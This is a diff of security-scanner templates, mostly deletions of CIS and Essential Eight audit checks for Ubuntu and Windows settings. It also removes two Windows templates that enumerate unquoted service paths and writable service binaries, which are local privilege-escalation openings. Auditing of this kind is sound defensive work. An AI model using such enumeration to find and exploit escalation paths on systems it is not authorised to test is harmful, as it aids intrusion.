-  tags: cis,linux,ubuntu,gdm,autorun,media,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        autorun_never=$(gsettings get org.gnome.desktop.media-handling autorun-never 2>/dev/null)
-
-        if [ "$autorun_never" = "true" ]; then
-          echo "[gdm-autorun-never-enabled-check:Policy-Pass] [GDM autorun-never is enabled] [CIS_PASS] [medium]"
-        else
-          echo "[gdm-autorun-never-enabled-check:Policy-Fail] [GDM autorun-never is not enabled] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a0046304402206c80c1a86743871e9f595f4dcd2a4514b546b38bc6d19526607164c2e3cae9a4022051f4b192684563ca0434b43e54043fdf0111dcd7cc59c761d5ac11d4ae9f7af0:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-disable-user-list-enabled-check.yaml

@@ -1,42 +0,0 @@
-id: gdm-disable-user-list-enabled-check
-
-info:
-  name: Ensure GDM disable-user-list Option is Enabled
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the GDM disable-user-list option is enabled.
-  remediation: |
-    Enable the `disable-user-list` option in GDM to prevent displaying the
-    list of local users on the login screen.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,login,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if [ "$(gsettings get org.gnome.login-screen disable-user-list 2>/dev/null)" = "true" ]; then
-          echo "[gdm-disable-user-list-enabled-check:Policy-Pass] [GDM disable-user-list option is enabled] [CIS_PASS] [low]"
-        else
-          echo "[gdm-disable-user-list-enabled-check:Policy-Fail] [GDM disable-user-list option is not enabled] [CIS_FAIL] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022025a93b7d3071b399ffeb3961566cdd9c923917af8678a1a885e811441fa04f01022100a84cee2408f06cfe157bdfcc217d3d32df9a8292f62566c1fad7b7b4542d4758:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-login-banner-configured-check.yaml

@@ -1,45 +0,0 @@
-id: gdm-login-banner-configured-check
-
-info:
-  name: Ensure GDM Login Banner is Configured
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the GDM login banner is enabled and configured.
-  remediation: |
-    Enable the GDM login banner and configure an appropriate warning message
-    according to your organization's security policy.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        enabled=$(gsettings get org.gnome.login-screen banner-message-enable 2>/dev/null)
-        banner=$(gsettings get org.gnome.login-screen banner-message-text 2>/dev/null)
-
-        if [ "$enabled" = "true" ] && [ -n "$banner" ] && [ "$banner" != "''" ]; then
-          echo "[gdm-login-banner-configured-check:Policy-Pass] [GDM login banner is enabled and configured] [CIS_PASS] [low]"
-        else
-          echo "[gdm-login-banner-configured-check:Policy-Fail] [GDM login banner is not enabled or not configured] [CIS_FAIL] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100e8489d5b348200a612586fc5e0fe4174623f220b4c1c44d330368d924251f574022057569da8e66eea1e3917a3111c07a2b48f45e4fbd94e6a20d27b35e1b5c732c4:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-removed-check.yaml

@@ -1,42 +0,0 @@
-id: gdm-removed-check
-
-info:
-  name: Ensure GDM is Removed
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the GNOME Display Manager (GDM) is installed.
-  remediation: |
-    Remove the GDM package if it is not required:
-      sudo apt remove gdm3 -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,gdm3,package,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s gdm3 &>/dev/null; then
-          echo "[gdm-removed-check:Policy-Fail] [gdm3 is installed] [CIS_FAIL] [medium]"
-        else
-          echo "[gdm-removed-check:Policy-Pass] [gdm3 is not installed] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a00463044022004cdc95f83850e9d07aa99423acaff95f3f8d644cf673f3f6282fdb499e25cb70220500dbf49f39b14e13f1134f8c4723055f51e6147c5a0f0ca68c4e8e91987f660:922c64590222798bb761d5b6d8e72950

code/linux/audit/gdm-screen-lock-idle-check.yaml

@@ -1,49 +0,0 @@
-id: gdm-screen-lock-idle-check
-
-info:
-  name: Ensure GDM Screen Locks When the User is Idle
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the screen is configured to lock after a period of user inactivity.
-  remediation: |
-    Configure the screen lock settings to meet your organization's security policy:
-      - Set `lock-delay` to 5 seconds or less.
-      - Set `idle-delay` to 900 seconds (15 minutes) or less and ensure it is not disabled.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,screensaver,screenlock,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        lock_delay=$(gsettings get org.gnome.desktop.screensaver lock-delay 2>/dev/null | awk '{print $2}')
-        idle_delay=$(gsettings get org.gnome.desktop.session idle-delay 2>/dev/null | awk '{print $2}')
-
-        if [ -n "$lock_delay" ] && [ -n "$idle_delay" ] && \
-           [ "$lock_delay" -le 5 ] && \
-           [ "$idle_delay" -gt 0 ] && \
-           [ "$idle_delay" -le 900 ]; then
-          echo "[gdm-screen-lock-idle-check:Policy-Pass] [Screen lock is configured correctly] [CIS_PASS] [medium]"
-        else
-          echo "[gdm-screen-lock-idle-check:Policy-Fail] [Screen lock is not configured correctly] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100be8d82fc5c709641b04535b1b34c9e69db9602eb06a0e4b508c1c7dc598e2a30022065d4f36251f33969b7c7cac33ce18f1b0115cd6ff96f514b5f5f23e57064e639:922c64590222798bb761d5b6d8e72950

code/linux/audit/home-env-permission.yaml

@@ -21,10 +21,7 @@ code:
         HOME_DIR=$(eval echo ~$user)
         find "$HOME_DIR" -maxdepth 1 -type f \
           \( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-          -exec ls -l {} \; | awk -v usr="$user" '{
-            if ($3 != "root" && $3 != usr) print "INVALID_OWNER", $0
-            else print $0
-          }'
+          -exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
       done
 
     matchers:
@@ -39,5 +36,5 @@ code:
         name: invalid-owner
         part: response
         regex:
-          - "^INVALID_OWNER"
-# digest: 4b0a004830460221008f1026cc0254988a320127f54f6632957306601d6961aea2ac9a446cd5f6b9ab02210086b126c50bbc20138ad7477bb88eeaf1b605461def18dd415775fd23651b9758:922c64590222798bb761d5b6d8e72950
+          - "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
+# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950

code/linux/audit/issue-file-permissions-check.yaml

@@ -1,47 +0,0 @@
-id: issue-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/issue is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/issue has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/issue`:
-      sudo chown root:root /etc/issue
-      sudo chmod 644 /etc/issue
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        mode=$(stat -Lc "%a" /etc/issue)
-        uid=$(stat -Lc "%u" /etc/issue)
-        gid=$(stat -Lc "%g" /etc/issue)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[issue-file-permissions-check:Policy-Pass] [/etc/issue ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[issue-file-permissions-check:Policy-Fail] [/etc/issue ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502204805f23b5b2fde38972210068588544f6d63ee85808fd260c1110d3bf74e0f81022100bcf8c34f4972f68f33fcbe9e00e7a9d4d88db7c5fbd44edc9015fdd09435e104:922c64590222798bb761d5b6d8e72950

code/linux/audit/issue-net-file-permissions-check.yaml

@@ -1,47 +0,0 @@
-id: issue-net-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/issue.net is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/issue.net has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/issue.net`:
-      sudo chown root:root /etc/issue.net
-      sudo chmod 644 /etc/issue.net
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue.net,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        mode=$(stat -Lc "%a" /etc/issue.net)
-        uid=$(stat -Lc "%u" /etc/issue.net)
-        gid=$(stat -Lc "%g" /etc/issue.net)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[issue-net-file-permissions-check:Policy-Pass] [/etc/issue.net ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[issue-net-file-permissions-check:Policy-Fail] [/etc/issue.net ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205b90b88bc4944dc3b9d5e1ffd449bfeba36ca31aa5b361d2925d6a9ffdfa31d2022100f198d2b9ea2306ea3da915e903f444320811814b645ca7199caa29242e77e657:922c64590222798bb761d5b6d8e72950

code/linux/audit/local-login-warning-banner-configured-check.yaml

@@ -1,46 +0,0 @@
-id: local-login-warning-banner-configured-check
-
-info:
-  name: Ensure Local Login Warning Banner is Configured Properly
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the local login warning banner is configured
-    without exposing system information.
-  remediation: |
-    Edit `/etc/issue` and remove any operating system, kernel, architecture,
-    or version information that could disclose system details. Configure the
-    banner according to your organization's security policy.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
-
-        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue >/dev/null 2>&1; then
-          echo "[local-login-warning-banner-configured-check:Policy-Fail] [/etc/issue contains system information] [CIS_FAIL] [low]"
-        else
-          echo "[local-login-warning-banner-configured-check:Policy-Pass] [/etc/issue is properly configured] [CIS_PASS] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100b7f3c0df5a197c8d43ee9e54731a4ca92fda92a03c083fc15c36747d0d38e7cb02201a669b82498409b20c9dfda008d11eeb57e395f382ba3c502504311f675c6653:922c64590222798bb761d5b6d8e72950

code/linux/audit/motd-configured-properly-check.yaml

@@ -1,45 +0,0 @@
-id: motd-configured-properly-check
-
-info:
-  name: Ensure Message of the Day is Configured Properly
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the Message of the Day (MOTD) is configured
-    without exposing system information.
-  remediation: |
-    Edit `/etc/motd` and remove any operating system, kernel, architecture,
-    or version information that could disclose system details.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,motd,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
-
-        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/motd >/dev/null 2>&1; then
-          echo "[motd-configured-properly-check:Policy-Fail] [/etc/motd contains system information] [CIS_FAIL] [low]"
-        else
-          echo "[motd-configured-properly-check:Policy-Pass] [/etc/motd is properly configured] [CIS_PASS] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205a5f2adda2516b58a427743cc99efc6ebbb0ecde6a4c1675c8b74c47b485913d022100c0fc56c0137edea5823b5e5f0594b7f64e062c607da5c940a903cd81e6fb2dd4:922c64590222798bb761d5b6d8e72950

code/linux/audit/motd-file-permissions-check.yaml

@@ -1,52 +0,0 @@
-id: motd-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/motd is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/motd has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/motd`:
-      sudo chown root:root /etc/motd
-      sudo chmod 644 /etc/motd
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,motd,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if [ ! -e /etc/motd ]; then
-          echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd does not exist] [CIS_PASS] [medium]"
-          exit 0
-        fi
-
-        mode=$(stat -Lc "%a" /etc/motd)
-        uid=$(stat -Lc "%u" /etc/motd)
-        gid=$(stat -Lc "%g" /etc/motd)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[motd-file-permissions-check:Policy-Fail] [/etc/motd ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205337c124afb6ffea14ac939029a929394b67bfeadb6e6f0003cee0c40ffd1fa0022100b4febaa25daaaeb3a029834eeccccfdabb508014c26b9f131229f38f4c6b78b1:922c64590222798bb761d5b6d8e72950

code/linux/audit/prelink-not-installed-check.yaml

@@ -1,45 +0,0 @@
-id: prelink-not-installed-check
-
-info:
-  name: Ensure Prelink is Not Installed
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the prelink package is installed.
-    Prelink modifies binaries to decrease application startup time, but it
-    interferes with file integrity monitoring and is not recommended on
-    secure systems.
-  remediation: |
-    Remove the prelink package if it is installed:
-      sudo apt remove prelink -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,prelink,package,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s prelink &>/dev/null; then
-          echo "[prelink-not-installed-check:Policy-Fail] [prelink is installed] [CIS_FAIL] [medium]"
-        else
-          echo "[prelink-not-installed-check:Policy-Pass] [prelink is not installed] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100c4e5c119744b7079c44408522880e76d2c682b313df4d0f48dff17eeb1c1f7220220386bd07b1ae18d94f3c0dc5e6d1d0db5cee4e92d3109a171060d2f0555fe2ad5:922c64590222798bb761d5b6d8e72950

code/linux/audit/remote-login-warning-banner-configured-check.yaml

@@ -1,46 +0,0 @@
-id: remote-login-warning-banner-configured-check
-
-info:
-  name: Ensure Remote Login Warning Banner is Configured Properly
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the remote login warning banner is configured
-    without exposing system information.
-  remediation: |
-    Edit `/etc/issue.net` and remove any operating system, kernel, architecture,
-    or version information that could disclose system details. Configure the
-    banner according to your organization's security policy.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue.net,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
-
-        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue.net >/dev/null 2>&1; then
-          echo "[remote-login-warning-banner-configured-check:Policy-Fail] [/etc/issue.net contains system information] [CIS_FAIL] [low]"
-        else
-          echo "[remote-login-warning-banner-configured-check:Policy-Pass] [/etc/issue.net is properly configured] [CIS_PASS] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502202065d10bad394d8529bc1b5346c26671b0fbf5b686bf3ce722361eedb25a8f40022100d64ffaa84730831df0d67eae2bbf88173117bbee798d3bb1f93fd64bb278a428:922c64590222798bb761d5b6d8e72950

code/misconfiguration/dns-axfr-enabled.yaml

@@ -11,7 +11,7 @@ info:
   metadata:
     verified: true
     shodan-query: port:53
-  tags: dns,tcp,axfr,code,vuln
+  tags: dns,tcp,axfr,code
 
 code:
   - engine:
@@ -31,4 +31,4 @@ code:
         regex:
           - 'SOA\s+([^\s]+)'
         group: 1
-# digest: 4a0a004730450220729310e32ddaf376e205fe7202c209109d72fc732c11c480c2d0e76fcaa5ad3d022100e3ccab3824ce3028b6de37a92e77fc88aa98d5d8e6ae0ef6d8b061490e6ac218:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950

code/windows/audit/default-admin-account-enabled.yaml

@@ -1,36 +0,0 @@
-id: default-admin-account-enabled
-
-info:
-  name: Default Administrator Account Enabled
-  author: boonchuan
-  severity: medium
-  description: |
-    Detected built-in Administrator account was enabled, which is a common target for brute-force and credential stuffing attacks.
-  impact: |
-    The default Administrator account has a well-known SID and is frequently targeted by attackers. Leaving it enabled increases the attack surface.
-  remediation: |
-    Disable the built-in Administrator account and use a separate named admin account for administrative tasks. Run: net user Administrator /active:no
-  reference:
-    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
-    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
-  metadata:
-    verified: false
-  tags: windows,admin,privileges,compliance,essential-eight,code,windows-audit
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $admin = Get-LocalUser -Name 'Administrator' -ErrorAction SilentlyContinue; if ($admin -and $admin.Enabled) { 'True' } else { 'False' }
-    matchers:
-      - type: word
-        words:
-          - "True"
-# digest: 4a0a00473045022100f0b58e6b5a9b3631af0243f2f37b0b73fe428c208fd97eee1512c86e5ad67a0f02207f8e08fa3081b1e0b8b787e3dee5b2353a994b01ac1a861e1d73f58840f7e80d:922c64590222798bb761d5b6d8e72950

code/windows/audit/office-macros-not-restricted.yaml

@@ -1,36 +0,0 @@
-id: office-macros-not-restricted
-
-info:
-  name: Microsoft Office Macros Not Restricted
-  author: boonchuan
-  severity: high
-  description: |
-    Detected Microsoft Office macro restrictions were not configured, increasing the risk of macro-based malware delivery through Office documents.
-  impact: |
-    Unrestricted macros allow attackers to deliver malware through Office documents, a common initial access vector.
-  remediation: |
-    Configure Group Policy to disable macros: User Configuration > Administrative Templates > Microsoft Office > Security > VBA Macro Notification Settings > Disable all without notification (VBAWarnings = 4).
-  reference:
-    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
-    - https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked
-  metadata:
-    verified: false
-  tags: windows,office,macros,compliance,essential-eight,code,windows-audit
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $apps = @('Word','Excel','PowerPoint'); $unrestricted = $false; foreach ($app in $apps) { $val = (Get-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Office\16.0\$app\Security" -Name 'VBAWarnings' -ErrorAction SilentlyContinue).VBAWarnings; if ($null -eq $val -or $val -lt 3) { $unrestricted = $true } }; if ($unrestricted) { 'True' } else { 'False' }
-    matchers:
-      - type: word
-        words:
-          - "True"
-# digest: 4b0a004830460221008ef29cc9a13f406e48ba33e113cbf16313826513c7902305714c9811dc0139c1022100cc65712090e08cf9ef85ce4eb684425d21c66c69b1193d2d287c60e03f725d69:922c64590222798bb761d5b6d8e72950

code/windows/audit/windows-auto-update-disabled.yaml

@@ -1,36 +0,0 @@
-id: windows-auto-update-disabled
-
-info:
-  name: Windows Automatic Updates Disabled
-  author: boonchuan
-  severity: high
-  description: |
-    Detected Windows automatic updates were found disabled, leaving the system vulnerable to unpatched security flaws.
-  impact: |
-    Systems without automatic updates will miss critical security patches, increasing exposure to known vulnerabilities and exploits.
-  remediation: |
-    Enable automatic updates via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows Update > Configure Automatic Updates > set to Auto download and schedule install.
-  reference:
-    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
-    - https://learn.microsoft.com/en-us/windows/deployment/update/waas-wu-settings
-  metadata:
-    verified: false
-  tags: windows,updates,patching,compliance,essential-eight,code,windows-audit
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $au = Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -ErrorAction SilentlyContinue; if ($au -and $au.NoAutoUpdate -eq 1) { 'True' } else { 'False' }
-    matchers:
-      - type: word
-        words:
-          - "True"
-# digest: 4a0a00473045022100ddcd4a1983a75eff3d9837110072c2a1665f9a37f618a2b4dc10f82234608def02203f127fd2e6fc34706eac60ae681e29f33a0a099855daa983ca0a1e41ee2aeb37:922c64590222798bb761d5b6d8e72950

code/windows/enumeration/unquoted-service-paths.yaml

@@ -1,45 +0,0 @@
-id: unquoted-service-paths
-
-info:
-  name: Unquoted Service Paths
-  author: domwhewell-sage
-  severity: high
-  description: |
-    Detects windows services with unquoted paths that contain spaces. This misconfiguration can lead to local privilege escalation via execution of a malicious binary placed in the path.
-  reference:
-    - https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#unquoted-service-paths
-  metadata:
-    verified: true
-  tags: windows,services,code,windows-audit
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      # Get services using WMI
-      $services = Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName
-
-      foreach ($service in $services) {
-        $path = $service.PathName
-        if ($path -match ' ') {
-          $binaryPath = $path.Split("/")[0]
-          if (Test-Path "$binaryPath") {
-            Write-Output "$($service.Name) : $path"
-          }
-        }
-      }
-
-    extractors:
-      - type: regex
-        regex:
-          - ".+ : .+"
-# digest: 4a0a00473045022100f56bd1f0edcd741e70fbf654856d27b0562811acf8fdad3ee4a42ba5bacd9b2a02205b50b582fa2e063a3c5357804231816991e6357fc4ebbc109910dc67dbede8bf:922c64590222798bb761d5b6d8e72950

code/windows/enumeration/weak-service-binary-permissions.yaml

@@ -1,67 +0,0 @@
-id: weak-service-binary-permissions
-
-info:
-  name: Weak Service Binary Permissions
-  author: domwhewell-sage
-  severity: high
-  description: |
-    Detects weak Windows service binary permissions that could allow non-administrative users to modify the service binary, potentially leading to local privilege escalation.
-  reference:
-    - https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#modify-service-binary-path
-  tags: windows,services,code,windows-audit,privesc
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $services = Get-WmiObject -Class Win32_Service -Property Name, DisplayName, PathName, StartMode, StartName |
-        Where-Object { $_.PathName -and $_.PathName -notlike 'C:\Windows\*' }
-
-      foreach ($service in $services) {
-        $rawPath = $service.PathName.Trim()
-
-        # Extract binary path: handle quoted and unquoted paths with arguments
-        if ($rawPath.StartsWith('"')) {
-          $binaryPath = ($rawPath -split '"')[1]
-        } else {
-          $binaryPath = ($rawPath -split ' (?=-)')[0].Trim()
-          if (-not (Test-Path $binaryPath -ErrorAction SilentlyContinue)) {
-            $binaryPath = ($rawPath -split '\.exe')[0] + '.exe'
-          }
-        }
-
-        if (-not (Test-Path $binaryPath -ErrorAction SilentlyContinue)) { continue }
-
-        $acl = Get-Acl $binaryPath -ErrorAction SilentlyContinue
-        if (-not $acl) { continue }
-
-        foreach ($access in $acl.Access) {
-          $rights = $access.FileSystemRights.ToString()
-          $identity = $access.IdentityReference.ToString()
-
-          if ($rights -match "Write|FullControl|Modify" -and
-              $identity -notmatch "NT AUTHORITY\\SYSTEM|BUILTIN\\Administrators|NT AUTHORITY\\LOCAL SERVICE|NT AUTHORITY\\NETWORK SERVICE|TrustedInstaller") {
-            Write-Output "$identity can $rights the service binary at $binaryPath for service '$($service.Name)' running as '$($service.StartName)' on '$($service.StartMode)' mode"
-          }
-        }
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "the service binary at"
-
-    extractors:
-      - type: regex
-        regex:
-          - ".+ the service binary at .+"
-# digest: 490a0046304402201a22dd84e886cd1a39b2410dcfc77f56c8e78046403233fec4e63a40e44cf3db02206c19c3eb4be47f3a4822d2f74f35d7343e70be7d437d386f8550023d040209de:922c64590222798bb761d5b6d8e72950